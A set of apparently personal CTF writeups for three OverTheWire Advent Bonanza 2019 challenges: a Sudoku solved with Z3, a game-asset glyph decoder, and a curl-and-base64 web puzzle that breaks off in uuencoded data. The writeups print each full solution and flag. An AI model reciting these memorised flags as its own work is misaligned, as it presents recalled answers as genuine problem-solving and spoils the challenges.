OverTheWire Advent Bonanza 2019 Challenge 5 - Sudo Sudoku Writeup

Another writeup for a fairly simple challenge as a part of OverTheWire’s Advent Bonanza 2019. Day 5 of the Advent Bonanza challenges was a straightforward Sudoku challenge with constraints.

Sudo Sudoku
Points: 86
Solves: 229
Santa’s little helpers are notoriously good at solving Sudoku puzzles, so they made a special variant…
Download: 2a3fad4ea8987eb63b5abdea1c8bdc75d4f2e6b087388c5e33cec99136b4257a-sudosudoku.tar.xz


Downloading and extracting the file gave the following:

challenge.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Santa's little helpers are notoriously good at solving Sudoku puzzles.
Because regular Sudoku puzzles are too trivial, they have invented a variant.

1 2 3 4 5 6 7 8 9
+-------+-------+-------+
A | . . . | . . . | . . 1 |
B | . 1 2 | . . . | . . . |
C | . . . | . . . | 2 . . |
+-------+-------+-------+
D | . . . | . . . | . . 2 |
E | . 2 . | . . . | . . . |
F | . . . | . . . | . . . |
+-------+-------+-------+
G | . . . | . . . | 1 2 . |
H | 1 . . | . . 2 | . . . |
I | . . . | 1 . . | . . . |
+-------+-------+-------+

In addition to the standard Sudoku puzzle above,
the following equations must also hold:

B9 + B8 + C1 + H4 + H4 = 23
A5 + D7 + I5 + G8 + B3 + A5 = 19
I2 + I3 + F2 + E9 = 15
I7 + H8 + C2 + D9 = 26
I6 + A5 + I3 + B8 + C3 = 20
I7 + D9 + B6 + A8 + A3 + C4 = 27
C7 + H9 + I7 + B2 + H8 + G3 = 31
D3 + I8 + A4 + I6 = 27
F5 + B8 + F8 + I7 + F1 = 33
A2 + A8 + D7 + E4 = 21
C1 + I4 + C2 + I1 + A4 = 20
F8 + C1 + F6 + D3 + B6 = 25

If you then read the numbers clockwise starting from A1 to A9, to I9, to I1 and
back to A1, you end up with a number with 32 digits. Enclose that in AOTW{...}
to get the flag.

Looks like all I have to do is solve the Sudoku puzzle with the constraints. What I could do is sit down and actually do the puzzle by hand, but I wanted to take this opportunity to show off an awesome tool known as The Z3 Theorem Prover from Microsoft Research. Z3 uses a variety of solvers to solve equations under constraints. This is perfect here as there are already open source sudoku solvers online that use Z3. A quick online search for sudoku solver z3 and the first link come up with this Github project by Github user ppmx. Credits to this user for a very easy to use and easy to understand sudoku solver using Z3! Here’s what their sudoku solver script looks like:

sudoku-z3.py from Github user ppmx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3

def cross(A, B):
return [(a + b) for a in A for b in B]

class Sudoku:
@staticmethod
def parse_grid(puzzle):
"""
A1 A2 A3 | A4 A5 A6 | A7 A8 A9
B1 B2 B3 | B4 B5 B6 | B7 B8 B9
C1 C2 C3 | C4 C5 C6 | C7 C8 C9
–––––––––+––––––––––+–––––––––
D1 D2 D3 | D4 D5 D6 | D7 D8 D9
E1 E2 E3 | E4 E5 E6 | E7 E8 E9
F1 F2 F3 | F4 F5 F6 | F7 F8 F9
–––––––––+––––––––––+–––––––––
G1 G2 G3 | G4 G5 G6 | G7 G8 G9
H1 H2 H3 | H4 H5 H6 | H7 H8 H9
I1 I2 I3 | I4 I5 I6 | I7 I8 I9
puzzle = 'A1A2A3A4...' and every element holds a value of '123456789.'
where the dot represents an empty cell.
"""

s = Sudoku()

if any(c not in "123456789." for c in puzzle) or len(puzzle) != 81:
raise Exception("got invalid puzzle format")

elements = cross("ABCDEFGHI", "123456789")
s.values = {e: v for e,v in zip(elements, puzzle)}
return s

def __init__(self, values=dict()):
# mapping cells -> "123456789." where the dot represents an empty cell
# cells = cross product of "ABCDEFGHI" and "123456789"
self.values = values

# we define some additional informations that may be used by a solving function:
rows, cols = "ABCDEFGHI", "123456789"
self.elements = cross(rows, cols)

self.unitlist = []
self.unitlist += [cross(rows, c) for c in cols]
self.unitlist += [cross(r, cols) for r in rows]
self.unitlist += [cross(rs, cs) for rs in ["ABC", "DEF", "GHI"] for cs in ["123", "456", "789"]]

self.units = {e: [u for u in self.unitlist if e in u] for e in self.elements}

def is_solved(self):
# assure that every cell holds a single value between 1 and 9:
if not all(k in "123456789" for k in self.values.values()):
return False

# assure that every cell of every unit is unique in the proper unit:
unitsolved = lambda u: set([self.values[e] for e in u]) == set("123456789")
return all(unitsolved(u) for u in self.unitlist)

def __str__(self):
lines, elements = [], cross("ABCDEFGHI", "123456789")

print("[+] Puzzle:", ''.join(self.values[e] for e in elements))

for index_row, row in enumerate("ABCDEFGHI"):
if index_row % 3 == 0:
lines.append("+–––––––––+–––––––––+–––––––––+")

line = ''
for index_col, col in enumerate("123456789"):
line += "{1} {0} ".format(self.values[row + col], '|' if index_col % 3 == 0 else '')
lines.append(line + '|')

lines.append("+–––––––––+–––––––––+–––––––––+")
return '\n'.join(lines) + '\n'

def Z3Solving(sudoku):
from z3 import Solver, Int, Or, Distinct, sat

elements = cross("ABCDEFGHI", "123456789")
symbols = {e: Int(e) for e in elements}

# first we build a solver with the general constraints for sudoku puzzles:
s = Solver()

# assure that every cell holds a value of [1,9]
for symbol in symbols.values():
s.add(Or([symbol == i for i in range(1, 10)]))

# assure that every row covers every value:
for row in "ABCDEFGHI":
s.add(Distinct([symbols[row + col] for col in "123456789"]))

# assure that every column covers every value:
for col in "123456789":
s.add(Distinct([symbols[row + col] for row in "ABCDEFGHI"]))

# assure that every block covers every value:
for i in range(3):
for j in range(3):
s.add(Distinct([symbols["ABCDEFGHI"[m + i * 3] + "123456789"[n + j * 3]] for m in range(3) for n in range(3)]))

# now we put the assumptions of the given puzzle into the solver:
for elem, value in sudoku.values.items():
if value in "123456789":
s.add(symbols[elem] == value)

if not s.check() == sat:
raise Exception("unsolvable")

model = s.model()
values = {e: model.evaluate(s).as_string() for e, s in symbols.items()}
return Sudoku(values)

def main(puzzle):
print("[+] processing puzzle:", puzzle)

s = Sudoku.parse_grid(puzzle)
print(s)

print("[+] trying to solve it with z3")
s_solved = Z3Solving(s)
print("[+] it is solved:", s_solved.is_solved())
print(s_solved)

if __name__ == "__main__":
from sys import argv

if len(argv) != 2:
print("[!] we are using some test puzzle due to missing argument")
main("4.....8.5.3..........7......2.....6.....8.4......1.......6.3.7.5..2.....1.4......")
else:
main(argv[1])

I am far from an advanced user of Z3 but the above script is straightforward enough to understand. This guide by Github user ericpony is also a great place to start to understand how to use Z3 in Python.

  • Z3 needs to know what kind of values it needs to solve for. We also give symbols for those values, basically like variables.
    • This happens on line 79-80 where values A1-A9, B1-B9, etc. are added as symbols.
  • Line 83 initializes the Z3 solver.
  • Line 77 shows imports from Z3 that can be used to define some of the relationships between variables, like Or and Distinct.
  • Constraints are added to the solver object and then Solver.check() is called to tell Z3 to try to solve for all the constraints given.

To input my own constraints into the script, I had to understand what the script was doing first. The function Z3Solving is where all the magic happens.

  • Lines 86-87 ensure that all values in the solution are between 1 and 9 inclusive.
  • Lines 90-100 ensure that every row, column, and 3x3 block include all values 1 to 9 inclusive and are distinct.
  • Lines 103-105 ensure that the starting board that is given to the program is satisfied.

For solving this problem, it seems like it would be adequate to place my custom constraints right after line 100.

To make it easier for myself, I replaced the string on line 130 with the starting sudoku problem given to me in the challenge. I saved the script as solve.py and ran it just to make sure I was able to get a solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ python3 solve.py 
[!] we are using some test puzzle due to missing argument
[+] processing puzzle: ........1.12............2..........2.2......................12.1....2......1.....
[+] Puzzle: ........1.12............2..........2.2......................12.1....2......1.....
+–––––––––+–––––––––+–––––––––+
| . . . | . . . | . . 1 |
| . 1 2 | . . . | . . . |
| . . . | . . . | 2 . . |
+–––––––––+–––––––––+–––––––––+
| . . . | . . . | . . 2 |
| . 2 . | . . . | . . . |
| . . . | . . . | . . . |
+–––––––––+–––––––––+–––––––––+
| . . . | . . . | 1 2 . |
| 1 . . | . . 2 | . . . |
| . . . | 1 . . | . . . |
+–––––––––+–––––––––+–––––––––+

[+] trying to solve it with z3
[+] it is solved: True
[+] Puzzle: 765284931912635874843791265439857612527916483681423597374568129196342758258179346
+–––––––––+–––––––––+–––––––––+
| 7 6 5 | 2 8 4 | 9 3 1 |
| 9 1 2 | 6 3 5 | 8 7 4 |
| 8 4 3 | 7 9 1 | 2 6 5 |
+–––––––––+–––––––––+–––––––––+
| 4 3 9 | 8 5 7 | 6 1 2 |
| 5 2 7 | 9 1 6 | 4 8 3 |
| 6 8 1 | 4 2 3 | 5 9 7 |
+–––––––––+–––––––––+–––––––––+
| 3 7 4 | 5 6 8 | 1 2 9 |
| 1 9 6 | 3 4 2 | 7 5 8 |
| 2 5 8 | 1 7 9 | 3 4 6 |
+–––––––––+–––––––––+–––––––––+

Looks like it works! Now all that is left to do is add all of the constraints from the challenge. What was also nice is that the script from ppmx and the challenge refer to each individual cell of the sudoku board in the same manner. For example, I5 on the sudoku board in the challenge is referenced by symbols['I5'] in the script. Solving this challenge was as easy as adding my own constraints after line 100. I actually wrote a script to take in the constraints and output the following Python code cause I got too lazy to type it all out myself.

1
2
3
4
5
6
7
8
9
10
11
12
13
# assure that special constraints are met
s.add(symbols['B9'] + symbols['B8'] + symbols['C1'] + symbols['H4'] + symbols['H4'] == 23)
s.add(symbols['A5'] + symbols['D7'] + symbols['I5'] + symbols['G8'] + symbols['B3'] + symbols['A5'] == 19)
s.add(symbols['I2'] + symbols['I3'] + symbols['F2'] + symbols['E9'] == 15)
s.add(symbols['I7'] + symbols['H8'] + symbols['C2'] + symbols['D9'] == 26)
s.add(symbols['I6'] + symbols['A5'] + symbols['I3'] + symbols['B8'] + symbols['C3'] == 20)
s.add(symbols['I7'] + symbols['D9'] + symbols['B6'] + symbols['A8'] + symbols['A3'] + symbols['C4'] == 27)
s.add(symbols['C7'] + symbols['H9'] + symbols['I7'] + symbols['B2'] + symbols['H8'] + symbols['G3'] == 31)
s.add(symbols['D3'] + symbols['I8'] + symbols['A4'] + symbols['I6'] == 27)
s.add(symbols['F5'] + symbols['B8'] + symbols['F8'] + symbols['I7'] + symbols['F1'] == 33)
s.add(symbols['A2'] + symbols['A8'] + symbols['D7'] + symbols['E4'] == 21)
s.add(symbols['C1'] + symbols['I4'] + symbols['C2'] + symbols['I1'] + symbols['A4'] == 20)
s.add(symbols['F8'] + symbols['C1'] + symbols['F6'] + symbols['D3'] + symbols['B6'] == 25)

Now running solve.py gave the result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[+] trying to solve it with z3
[+] it is solved: True
[+] Puzzle: 864729531912453768375618249649875312721936854538241697486597123197362485253184976
+–––––––––+–––––––––+–––––––––+
| 8 6 4 | 7 2 9 | 5 3 1 |
| 9 1 2 | 4 5 3 | 7 6 8 |
| 3 7 5 | 6 1 8 | 2 4 9 |
+–––––––––+–––––––––+–––––––––+
| 6 4 9 | 8 7 5 | 3 1 2 |
| 7 2 1 | 9 3 6 | 8 5 4 |
| 5 3 8 | 2 4 1 | 6 9 7 |
+–––––––––+–––––––––+–––––––––+
| 4 8 6 | 5 9 7 | 1 2 3 |
| 1 9 7 | 3 6 2 | 4 8 5 |
| 2 5 3 | 1 8 4 | 9 7 6 |
+–––––––––+–––––––––+–––––––––+

The challenge noted that the flag was the values starting from the top left and going clockwise around the sudoku board. Thus, the final flag was:

1
AOTW{86472953189247356794813521457639}

A very simple and ideal use-case for the Z3 solver!

OverTheWire Advent Bonanza 2019 Challenge 14 - tiny runes Writeup

Another writeup for a challenge imitating game asset reverse engineering as a part of OverTheWire’s Advent Bonanza 2019. Day 14 of the Advent Bonanza challenges was given as follows:

tiny runes
Points: 137
Solves: 106
One of Santa’s Little Helpers received an unusual Christmas wish, a copy of the yet to be released Deus Hex game. All they managed to find were fragments from the dialogue system. Can you decode the last one?
Download: d4037209017d4730edc598fe62e6b17f5573ee259b6ad7c8723bac962cf0b328-tiny-runes.tar.gz


Downloading and extracting the file gave the following file structure:

1
2
3
4
5
6
7
8
9
10
11
$ tar -xvzf d4037209017d4730edc598fe62e6b17f5573ee259b6ad7c8723bac962cf0b328-tiny-runes.tar.gz
x lines1.bin
x lines1.png
x lines1.txt
x lines2.bin
x lines2.png
x lines2.txt
x lines3.bin
x lines3.png
x lines3.txt
x lines4.bin

The general idea with this challenge seems to be that the .bin files are the raw game assets. The .png and the .txt files are the decoded assets, respectively. The flag was contained in the decoding of lines4.bin which has not yet been decoded.

To start, I took a look at each of the accompanying .png and .txt files.

lines1.png

lines1.txt

1
2
JC Denton: "Paul... I... I..."
JC Denton: "I thought you were a GEP gun."

lines2.png

lines2.txt

1
2
3
4
Paul Denton: "We want to power down the whole system."
Lobster: "That will be your butt."
Paul Denton: "Yes sir!"
Lobster: "Get PILLS against my orders! Get moving!"

lines3.png

lines3.txt

1
2
Agent Orange: "I do not move out of the way."
JC Denton: "Forgive my interruption, my vision is augmented."

Sure enough, the files match up in their text. I then took a look at the .bin files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ file lines1.bin
lines1.bin: data
$ binwalk lines1.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
36 0x24 PNG image, 64 x 96, 1-bit colormap, non-interlaced
95 0x5F Zlib compressed data, best compression

$ foremost lines1.bin
Processing: lines1.bin
|*|
$ cat output/audit.txt

... snip ...

------------------------------------------------------------------
File: lines1.bin
... snip ...
Length: 965 B (965 bytes)

Num Name (bs=512) Size File Offset Comment

0: 00000000.png 769 B 36 (64 x 96)
... snip ...

1 FILES EXTRACTED

png:= 1
------------------------------------------------------------------

$ file output/png/00000000.png
00000000.png: PNG image data, 64 x 96, 1-bit colormap, non-interlaced

It looks like the .bin files have a .png embedded in them. What is interesting is that all four provided .bin files have the exact same .png embedded in them at the same location. This .png looks like:

00000000.png

Given that the image is 64 x 96 pixels and the image shows rows of 8 characters and columns of 12 characters, I could only assume that there was some sort of indexing scheme into this image which would then build the resulting asset. The key would be figuring out how this indexing is done. I ran hexdump -C on each .bin file and output this to individual files lines1.hex, lines2.hex, and lines3.hex and ran sdiff -s to compare them in pairs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sdiff -s lines1.hex lines2.hex 
00000010 00 08 00 08 08 0c 00 48 00 02 00 2a 54 78 54 72 | | 00000010 00 08 00 08 08 0c 00 a2 00 04 00 36 54 78 54 72 |
00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 3c 05 01 03 | | 00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 6c 00 04 03 |
00000330 0a 04 08 06 09 03 07 00 05 00 0a 01 0b 00 05 02 | | 00000330 0b 07 0a 05 0b 04 08 06 09 03 07 00 05 00 0a 01 |
00000340 07 04 08 06 07 00 04 03 0b 07 0a 05 0b 05 09 05 | | 00000340 0b 00 05 02 07 04 08 06 07 04 09 03 07 04 08 00 |
00000350 09 05 09 04 08 02 05 05 09 05 09 05 09 04 08 02 | | 00000350 06 03 0b 00 05 00 0a 04 08 00 0a 01 0b 04 08 02 |
00000360 05 05 09 05 09 05 09 06 07 4c 69 4e 65 00 00 00 | | 00000360 06 01 0b 00 06 03 07 07 03 04 08 01 03 01 0b 00 |
00000370 54 05 01 03 0a 04 08 06 09 03 07 00 05 00 0a 01 | | 00000370 06 00 05 04 08 00 0a 00 09 03 07 04 08 00 06 00 |
00000380 0b 00 05 02 07 04 08 06 07 02 05 04 08 00 0a 00 | | 00000380 09 01 0b 05 0b 03 07 04 08 00 02 05 07 00 02 00 |
00000390 09 01 0b 07 0a 01 07 00 09 00 0a 04 08 05 07 01 | | 00000390 0a 03 07 04 02 05 09 06 07 4c 69 4e 65 00 00 00 |
000003a0 0b 07 0a 04 08 00 06 03 07 07 03 03 07 04 08 03 | | 000003a0 44 02 01 01 0b 04 07 00 02 00 0a 03 07 07 03 02 |
000003b0 0b 04 08 01 06 04 03 00 04 04 08 01 07 07 0a 00 | | 000003b0 07 04 08 06 07 04 0a 00 09 03 0b 00 0a 04 08 00 |
000003c0 05 05 09 06 07 | | 000003c0 06 01 04 05 0b 05 0b 04 08 04 07 03 07 04 08 05 |
000003c5 | 000003d0 07 01 0b 07 0a 07 03 04 08 04 07 07 0a 00 0a 00 |
> 000003e0 0a 05 09 06 07 4c 69 4e 65 00 00 00 2e 00 04 03 |
> 000003f0 0b 07 0a 05 0b 04 08 06 09 03 07 00 05 00 0a 01 |
> 00000400 0b 00 05 02 07 04 08 06 07 06 00 03 07 00 02 04 |
> 00000410 08 00 02 01 04 07 03 05 08 06 07 4c 69 4e 65 00 |
> 00000420 00 00 66 02 01 01 0b 04 07 00 02 00 0a 03 07 07 |
> 00000430 03 02 07 04 08 06 07 01 06 03 07 00 0a 04 08 00 |
> 00000440 04 02 05 02 01 02 01 06 06 04 08 03 0b 01 07 03 |
> 00000450 0b 01 04 00 05 00 02 00 0a 04 08 04 02 05 07 04 |
> 00000460 08 01 0b 07 03 01 03 03 07 07 03 00 02 05 08 04 |
> 00000470 08 01 06 03 07 00 0a 04 08 04 02 01 0b 07 07 01 |
> 00000480 04 00 05 01 07 05 08 06 07 |
> 00000489
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sdiff -s lines1.hex lines3.hex 
00000010 00 08 00 08 08 0c 00 48 00 02 00 2a 54 78 54 72 | | 00000010 00 08 00 08 08 0c 00 6a 00 02 00 3d 54 78 54 72 |
00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 3c 05 01 03 | | 00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 5a 07 04 01 |
00000330 0a 04 08 06 09 03 07 00 05 00 0a 01 0b 00 05 02 | | 00000330 07 03 07 00 05 00 0a 04 08 04 05 07 03 03 0b 00 |
00000340 07 04 08 06 07 00 04 03 0b 07 0a 05 0b 05 09 05 | | 00000340 05 01 07 03 07 02 07 04 08 06 07 02 05 04 08 01 |
00000350 09 05 09 04 08 02 05 05 09 05 09 05 09 04 08 02 | | 00000350 03 01 0b 04 08 00 05 01 0b 00 0a 04 08 04 02 01 |
00000360 05 05 09 05 09 05 09 06 07 4c 69 4e 65 00 00 00 | | 00000360 0b 07 07 03 07 04 08 01 0b 07 0a 00 0a 04 08 01 |
00000370 54 05 01 03 0a 04 08 06 09 03 07 00 05 00 0a 01 | | 00000370 0b 06 02 04 08 00 0a 00 09 03 07 04 08 00 06 03 |
00000380 0b 00 05 02 07 04 08 06 07 02 05 04 08 00 0a 00 | | 00000380 0b 05 07 05 09 06 07 4c 69 4e 65 00 00 00 7a 05 |
00000390 09 01 0b 07 0a 01 07 00 09 00 0a 04 08 05 07 01 | | 00000390 01 03 0a 04 08 06 09 03 07 00 05 00 0a 01 0b 00 |
000003a0 0b 07 0a 04 08 00 06 03 07 07 03 03 07 04 08 03 | | 000003a0 05 02 07 04 08 06 07 00 07 01 0b 07 03 01 07 01 |
000003b0 0b 04 08 01 06 04 03 00 04 04 08 01 07 07 0a 00 | | 000003b0 04 07 07 03 07 04 08 04 02 05 07 04 08 01 04 00 |
000003c0 05 05 09 06 07 | | 000003c0 05 00 0a 03 07 07 03 07 03 07 0a 02 06 00 0a 01 |
000003c5 | 000003d0 04 01 0b 00 05 07 00 04 08 04 02 05 07 04 08 07 |
> 000003e0 07 01 04 00 02 01 04 01 0b 00 05 04 08 01 04 00 |
> 000003f0 02 04 08 03 0b 07 0a 01 07 04 02 03 07 00 05 00 |
> 00000400 0a 03 07 01 03 05 09 06 07 |
> 00000409
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sdiff -s lines2.hex lines3.hex 
00000010 00 08 00 08 08 0c 00 a2 00 04 00 36 54 78 54 72 | | 00000010 00 08 00 08 08 0c 00 6a 00 02 00 3d 54 78 54 72 |
00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 6c 00 04 03 | | 00000320 44 ae 42 60 82 4c 69 4e 65 00 00 00 5a 07 04 01 |
00000330 0b 07 0a 05 0b 04 08 06 09 03 07 00 05 00 0a 01 | | 00000330 07 03 07 00 05 00 0a 04 08 04 05 07 03 03 0b 00 |
00000340 0b 00 05 02 07 04 08 06 07 04 09 03 07 04 08 00 | | 00000340 05 01 07 03 07 02 07 04 08 06 07 02 05 04 08 01 |
00000350 06 03 0b 00 05 00 0a 04 08 00 0a 01 0b 04 08 02 | | 00000350 03 01 0b 04 08 00 05 01 0b 00 0a 04 08 04 02 01 |
00000360 06 01 0b 00 06 03 07 07 03 04 08 01 03 01 0b 00 | | 00000360 0b 07 07 03 07 04 08 01 0b 07 0a 00 0a 04 08 01 |
00000370 06 00 05 04 08 00 0a 00 09 03 07 04 08 00 06 00 | | 00000370 0b 06 02 04 08 00 0a 00 09 03 07 04 08 00 06 03 |
00000380 09 01 0b 05 0b 03 07 04 08 00 02 05 07 00 02 00 | | 00000380 0b 05 07 05 09 06 07 4c 69 4e 65 00 00 00 7a 05 |
00000390 0a 03 07 04 02 05 09 06 07 4c 69 4e 65 00 00 00 | | 00000390 01 03 0a 04 08 06 09 03 07 00 05 00 0a 01 0b 00 |
000003a0 44 02 01 01 0b 04 07 00 02 00 0a 03 07 07 03 02 | | 000003a0 05 02 07 04 08 06 07 00 07 01 0b 07 03 01 07 01 |
000003b0 07 04 08 06 07 04 0a 00 09 03 0b 00 0a 04 08 00 | | 000003b0 04 07 07 03 07 04 08 04 02 05 07 04 08 01 04 00 |
000003c0 06 01 04 05 0b 05 0b 04 08 04 07 03 07 04 08 05 | | 000003c0 05 00 0a 03 07 07 03 07 03 07 0a 02 06 00 0a 01 |
000003d0 07 01 0b 07 0a 07 03 04 08 04 07 07 0a 00 0a 00 | | 000003d0 04 01 0b 00 05 07 00 04 08 04 02 05 07 04 08 07 |
000003e0 0a 05 09 06 07 4c 69 4e 65 00 00 00 2e 00 04 03 | | 000003e0 07 01 04 00 02 01 04 01 0b 00 05 04 08 01 04 00 |
000003f0 0b 07 0a 05 0b 04 08 06 09 03 07 00 05 00 0a 01 | | 000003f0 02 04 08 03 0b 07 0a 01 07 04 02 03 07 00 05 00 |
00000400 0b 00 05 02 07 04 08 06 07 06 00 03 07 00 02 04 | | 00000400 0a 03 07 01 03 05 09 06 07 |
00000410 08 00 02 01 04 07 03 05 08 06 07 4c 69 4e 65 00 | | 00000409
00000420 00 00 66 02 01 01 0b 04 07 00 02 00 0a 03 07 07 | <
00000430 03 02 07 04 08 06 07 01 06 03 07 00 0a 04 08 00 | <
00000440 04 02 05 02 01 02 01 06 06 04 08 03 0b 01 07 03 | <
00000450 0b 01 04 00 05 00 02 00 0a 04 08 04 02 05 07 04 | <
00000460 08 01 0b 07 03 01 03 03 07 07 03 00 02 05 08 04 | <
00000470 08 01 06 03 07 00 0a 04 08 04 02 01 0b 07 07 01 | <
00000480 04 00 05 01 07 05 08 06 07 | <
00000489 <

Interestingly, it looks like the files only differ from bytes 0x17-0x1b and then from bytes 0x32c and onwards. Looking more closely, I saw that there are a lot of bytes in the range of 0x00 and 0x0b, inclusive. If I treat the .png file found in all of the .bin files as a grid, the columns can be indexed by 0x00 to 0x07 (8 columns) and the rows can be indexed by 0x00 to 0x0b (12 rows). Starting at byte 0x32d of file lines2.bin, the byte pairs are (0x00, 0x04), (0x03, 0x0b), (0x07, 0x0a). Matching these to characters in the reference .png, I get the letters Pau which matches the first 3 characters of lines2.txt!

When looking at the ASCII of the .bin files, I saw that preceding each line of text were the ASCII characters LiNe, which must have denoted a new line of the text.

With all of that knowledge, I wrote the following script to extract out the bytes after byte 0x325 in the file and perform the decoding:

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys

data = ['Q?0\\H$Y,', 'R-L^KJ?k', 's#_/m=f9', '7d-NE4qr', 'Pi?V`&XA', 'n3I?O*;Z', 'wGpB8cSj', 'Fg:eby"v', '%+?1 !M@', 'h{2xW.D}', 'tU|CTz6u', '|o>a5l<\'']

res = []
lines = open('lines4.bin', 'rb').read()[0x325:]

spl = lines.split('LiNe')

for line in spl:
if line:
working_set = line[4:]
constructed_line = ''
for i in range(0, len(working_set), 2):
constructed_line += data[ord(working_set[i+1])][ord(working_set[i])]
constructed_line += '\n'
res += constructed_line

print ''.join(res)

Running the above script outputs the flag:

1
2
3
$ python solve.py
Jock: "Oh my God! JC! A flag!"
JC Denton: "A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}"

A fun challenge which is a bit of a toy version of what one would find when reversing actual game asset files!

OverTheWire Advent Bonanza 2019 Challenge Zero Writeup

Here we go again. It’s been a while since I’ve posted a writeup (or done any CTFs for that matter) due to adulting responsibilities. I didn’t get to participate too much in last year’s OverTheWire Advent Bonanza which turned out to be quality. I have a bit more time this year so I figured I should try some of the challenges. OverTheWire’s Advent Bonanza 2019 Challenge Zero was released prior to Dec 1. I’m not sure what day they released it but I accessed it on Nov 30. Let’s jump in.

All that is given for this challenge is a link:

https://advent2019.overthewire.org/challenge-zero


Accessing this site in Google Chrome gives the following:

Accessing the link via Google Chrome

Not much to go off of here. Let’s take a look at the source via Inspect:

Inspecting via Google Chrome

Nothing all too exciting except for perhaps the “Hint” and the little bit that looks like:

1
<!-- browser detected: chrome -->

I might need that “Hint” bit later, but for now, the fact that it has a little comment saying what browser was detected, the server probably behaves differently based on my User-Agent string. Also, the text says Fox! Fox! Burning bright! which sounds like it is alluding to Firefox. So let’s try accessing the page via Firefox:

Accessing the link via Mozilla Firefox

Look at that! Different output when I use Firefox. For completeness, I also inspected via Firefox:

Inspecting via Mozilla Firefox

Nothing new buried in the source code there. However, the first line of the page (Did you know: Plain text goes best with a text browser.) is probably telling me to curl the page. So I went ahead and did that…

curl -X GET https://advent2019.overthewire.org/challenge-zero

Now this is definitely the right path. At first glance, it looks like the characters follow the base64 character set. I did an output redirection to a file:

1
curl -X GET https://advent2019.overthewire.org/challenge-zero > output

It also looks like the text has terminal colorization so if I open the output in Sublime Text, it looks like:

Colorized Output in Sublime Text

Not very text-processing-friendly. So let’s run this through sed and get an uncolorized version:

1
cat output | sed $'s,\x1b\\[[0-9;]*[a-zA-Z],,g' > uncolor

Now our uncolorized version can be processed easily in Python. I wrote a quick line in Python to replace all of the unwanted characters and print out the text:

1
print open('uncolor', 'rb').read().replace('#', '').replace('\n', '').replace('\r', '')

This gives me the following output repeated many times:

1
2
3
4
5
6
7
8
9
10
YmVnaW4gNjQ0IGJvb3QuYmluCk1eQydgQ01CLlAoWzBPYCFcMGBeQiNSI2BAXiNbQFxAIiNSK2AjUiNAIzBgJiNSK0BPTzlcWi
tYYDlAXloKTVgxRVMzO1g4Pz5CUWArXGA/QydgUzE4XCM3MDovYEFVI1gnX2AnWV5bS1kmPz5CNmAkX0tZOkpUI0xUMApNWl1a
IV9RIV49PFwvKmA7UD8wXEgnQCFeWiMwYDlAX08nTiFdOUBcWCVdTVQiTk5TT0I1XVomMGBaX1peCk00J1QvKmA4YD9AXEgnLk
AvYGBcSScoLyYkKCdeWCdVVVo+Rk1gJjgvW10pRiNeXzhOXjRWTScvIVpgP1YKTVxYQEZPR1FGI1NLP1IkNUYjVyMpX1BfJlQh
IUYjXl8iQCM7Jz8pUVhcNjgvW1wkWF8nMCc5QFxYVy1DSwpNU0Y4Ly4tVzhQWzAuSyMxIj1gOFFWXFQwWl8vIzNUQDUpVihXLE
I0UChSOEcpRihELCJUTzhBYCE9RihWCk0qQkxROENMRyhTIUMwRF0oJEIsUSwzNE0sIjlYOEQpLzJgJE0rUj1CKCIsQSo2KFUq
UzhKOEItQitSVEYKTSlTYEw4QCQyJVYpWCREKSo4REkiRCkiMEQpIjBUKC9LQlFeIU9aLFAsITE5RVlIVSQhUSIwXjBeKz84PQ
pNTEdZWicsS18iND4nK05fVUsmPUEtRjsqJUNcJVw9PSgvM0tUYFosMlo5SCMiIichITheUiRANztdQi1YCk0sIUlCIV4wR15c
IktWSkE7QjNMWltVV0gqWiZOW1wxQz5CST4hKjpdPEsvSCUrMywiO1tCQD47RTcySVYKTT4kWiU/KlE0YEZfUSdCIktEV1guMk
JeWUBaOEYtMiQ4LzBNRFYnLl1dX1g6QCM5MS4pIkAtISVNLCVZMgoxNSZVWUArRkUiSTxEIzJXXC1AVjU1OkhgCmAKZW5kCg==

After decoding the base64, I got the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
begin 644 boot.bin
M^C'`CMB.P([0O`!\0`^B#R#`@^#[@\@"#R+`#R#@#0`&#R+@OO9\Z+X`9@^Z
MX1ES3;X8?>BQ`+\`?C'`S18\#70:/`AU#X'_`'Y^[KY&?>B6`$_KY:JT#LT0
MZ]Z!_Q!^=<\/*`;P?0\H'@!^Z#0`9@_O'N!]9@\X%]MT"NNSOB5]Z&0`Z_Z^
M4'T/*`8`?@\H'.@/``\I'(/&$('^X'UUZ>FM`&8/[])F#^_8N^4VM'/!Z`?V
M\X@FOGQF#SK?R$5F#W#)_P_&T!!F#^_"@#;'?)QX\68/[\$X_'0'9@\XW-CK
MSF8/.-W8P[0.K#1"=`8QV\T0Z_/#3T@5)V(W,B4P(R8G)F(D,"TO8A`!=F(V
